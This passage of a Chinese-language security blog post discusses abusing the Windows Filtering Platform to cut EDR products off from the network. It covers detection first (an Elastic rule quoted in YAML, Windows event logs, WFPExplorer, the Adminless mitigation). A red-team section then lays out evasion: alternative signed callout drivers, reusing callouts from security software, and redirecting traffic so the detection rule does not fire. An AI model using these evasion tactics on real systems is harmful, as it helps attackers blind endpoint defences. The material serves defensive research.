Elastic 有一个 WFP 过滤器滥用的检测规则，可以在[此处](https://www.elastic.co/guide/en/security/current/potential-evasion-via-windows-filtering-platform.html)找到。它检测针对任何安全产品进程发出的数据包进行丢弃或阻止的操作。Windows 也提供基于此操作的事件日志，详细信息[见此](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-5152)。

##### **检查注册的 WFP 提供者、过滤器和 callout**

工具 [WFPExplorer](https://github.com/jdu2600/WFPExplorer) 也可以用于取证目的。它提供了一个 GUI，用户可以查看活跃的 WFP 会话、注册的 callout、WFP 提供者，和过滤器。此工具可以帮助识别和分析任何可疑的 WFP 配置。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/XKcimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/XKcimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/aGaimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/aGaimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/NhPimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/NhPimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/vGLimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/vGLimage.png)

##### **Adminless**

在与 jdu2600 的对话中，对方提到未来的 Windows 保护措施可能进一步限制新驱动程序的安装，这可能在 Adminless 功能下解决。有关此功能的更多细节可以在[此演示](https://github.com/dwizzzle/Presentations/blob/master/David%20Weston%20-%20Windows%2011%20Security%20by-default%20-%20Bluehat%20IL%202023.pdf)中找到。Adminless 所带来的益处可用于限制未经授权的驱动程序的安装和执行，使得 EDRPrison 等进攻性驱动程序更难以在攻击中采用。随着 Adminless 的广泛采用，这可能显著限制安装和利用此类驱动程序的能力，从而缓解这一攻击向量。




### **红队的复仇：颠覆上述检测**

那么从红队的角度来看，如何颠覆上述的一些检测？根据目标组织的安全配置，是存在潜在的变通方法的。然而，依旧需要管理员权限。

##### **避免使用WinDivert**

如果 WinDivert 在组织内部被标记为恶意驱动，我们可以寻找满足以下条件的替代驱动：

1. callout 驱动程序已签名。
2. 能进行数据包的拦截、重新注入和其他操纵。
3. 开源。
4. 没有被广泛用于恶意用途。
5. 有着很好的编程文档。

我是已经确定了一个合适的替代了，你能找到吗？

##### **避免外部驱动程序**

除非得到特别的批准，如果所有外部驱动都被视为未经授权的，尽管十分具有挑战性但我们仍然可能通过逆向工程已安装或内置应用的 WFP callout 驱动并重用其 callout 函数。许多安全软件，如 Elastic Endpoint、Norton 和 ESET，都有用于流量日志记录、DPI、家长控制等目的的 WFP callout 驱动程序。[本文](https://blog.quarkslab.com/guided-tour-inside-windefenders-network-inspection-driver.html)提供了逆向工程闭源驱动程序的优秀示例。

##### **规避Elastic规则**

我们之前讨论的 Elastic 规则可以识别针对安全产品进程的包阻止/丢弃操作。

```yaml
sequence by winlog.computer_name with maxspan=1m
 [network where host.os.type == "windows" and
  event.action : ("windows-firewall-packet-block", "windows-firewall-packet-drop") and
  process.name : (
        "bdagent.exe", "bdreinit.exe", "pdscan.exe", ...... "taniumclient.exe"
    )] with runs=5
```

然而，如果我们不阻止或丢弃数据包，而是将其重定向或代理到一个dummy 代理服务器，那就不符合检测规则了。[streamdump](https://github.com/basil00/Divert/blob/master/examples/streamdump/streamdump.c) 示例提供了相关实现。